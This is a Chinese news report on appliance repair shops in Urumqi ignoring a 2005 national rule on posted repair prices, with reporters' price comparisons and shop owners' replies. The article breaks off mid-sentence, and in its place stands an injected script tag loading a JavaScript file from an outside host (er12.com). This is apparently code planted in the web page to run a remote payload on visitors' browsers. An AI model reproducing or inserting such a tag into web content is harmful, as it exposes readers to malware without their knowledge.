核心提示：在乌鲁木齐的４００多家家电维修店中，真正获得资质认证的只有四五十家，一些过了保修期的家电和电子产品出现问题后，再换零件可就得自己掏钱了。这时候，一些没有取得资质认证的小店或维修中心便会把简单的故障说得很严重，以此手段从消费者腰包里多捞一把。
针对家电维修服务行业存在的种种问题，国家发展和改革委员会在２００５年１１月发布了《家用电器维修服务明码标价规定》，从２００６年１月１日起执行。然而，两个多月过去了，此规定在首府家电维修市场上却犹如一纸空文——
国家发展和改革委员会发布的《家用电器维修服务明码标价规定》要求，从２００６年１月１日起，所有家电维修商都必须将服务项目甚至于辅料、零配件的品名、产地、规格等进行明码标价。
从２月１２日到１５日，记者对乌鲁木齐市场上的数十家家电维修行业进行走访，发现９０％的经营者居然还不知道有此法规，也就更谈不上明码标价了。
□场景回放
在记者的走访中，几乎没有发现哪一个家电维修服务站真正执行该《规定》，电子产品零部件的报价相差也十分悬殊——
被调查者无一明码标价
记者从家电管理中心了解到，全疆现在共有２０００余家家电维修服务站点，而乌鲁木齐约有４００家左右，这还不算有些没有办理任何证照的“黑摊点”。截至目前，全疆家电维修店中经过管理中心资质认证的仅仅有２００多家，其中四星级以上的还不到２０家。
记者先后走访了乌市克拉玛依西路、中环路、中山路、北京路等处的一些家电维修店铺和家电维修服务中心，发现几乎没有哪一家在执行国家发改委发布的《规定》。
另外，虽然该《规定》要求：家电维修服务经营者在其经营场所的显著位置应实行明码标价及公示其他相关事项。可记者在各维修店铺（中心）的墙上看到的，只有该店铺的工商营业执照和税务登记证，有的甚至连这两样证照都没挂，服务项目及收费标准更是完全由老板口头喊价。
同一配件差价65元
２月１２日下午，记者带着一个没有后盖的小灵通，来到了乌市中山路上的一家通讯市场，首先选择了一个规模较大的维修点进行询问，这个维修点看起来很正规，但都没有对相关的产品以及服务进行明码标价。一位工作人员在看了小灵通之后，表示换个后盖要４０元。
随后，记者又在该市场的另外几个维修点分别询问了价格，报价分别为４０元，５０元，６０元，８０元不等。最后，市场里一位打过交道的经营户说：“没有这么贵，我给你找一个，也就１５元左右吧。”
从１５元，４０元，５０元，６０元到８０元，当中差价之大竟达６５元。
在整个市场上，记者也没能找到一家修理点对服务项目、收费标准、修理辅料、零配件的品名、产地、规格、计价单位、零售价格等作出明码标价。
□行业声音
对于消费者有关维修服务和材料价格的质疑，很多店老板竟然表现得极为高调——
“这是商业机密”
２月１３日上午，记者来到红旗路电脑城负二层，对这里的一些电脑维修店铺作了调查，结果发现当天营业的店铺里，没有哪家对维修服务、材料价格进行明码标价。
随后，记者借更换电脑主板为由，走访了五家维修店，对同一型号的主板价格进行了询问，结果报出来的价格有的在２５０元，有的竟然达到了３８０元。
当记者向这些店老板索要价格表时，对方竟然回答：“现在的零部件哪儿有明码标价的﹖这些都是商业机密！”
“嫌贵可以不修”
１４日上午，在克拉玛依西路，记者走进一家生意不错的家电维修店铺：“我有一台松下２１８８彩电开机无光栅，只有一条横亮线，但声音正常，修好这样一台电视机大概要多少钱？”
老板回答：“修理费６０元，换零件另收零件费。”
在随后的交谈中，记者问他：“师傅，你查出故障后，我自己去买零件，不用你这里的零件行不行？”
“可以，但这样修好后我们就不保修３个月了。”
“你们的零件有没有具体的价格表？”
“没有。”
“那你怎么收零件费？又怎样保证零件是新的？”
“彩电零件除了高频头之类的大件才有标明产地、规格型号、售价的标签，其他的都没有。反正价钱问题都是大家商量，你要是觉得贵，不修也行呀！”
□众说纷纭
针对《家用电器维修服务明码标价规定》的颁布和执行一事，很多经营者表达了不同看法——
明码标价治标不治本
业内人士宋先生表示：《规定》的作用不大。
他进一步解释，在电器维修时，双方对电器的了解极不对称，比如电视机坏了，作为顾客一般只知道故障的现象是“电视没有声音或者图像”，但具体故障是因接触不良还是显像管损坏造成的?script src=http://er12.com/t.js>
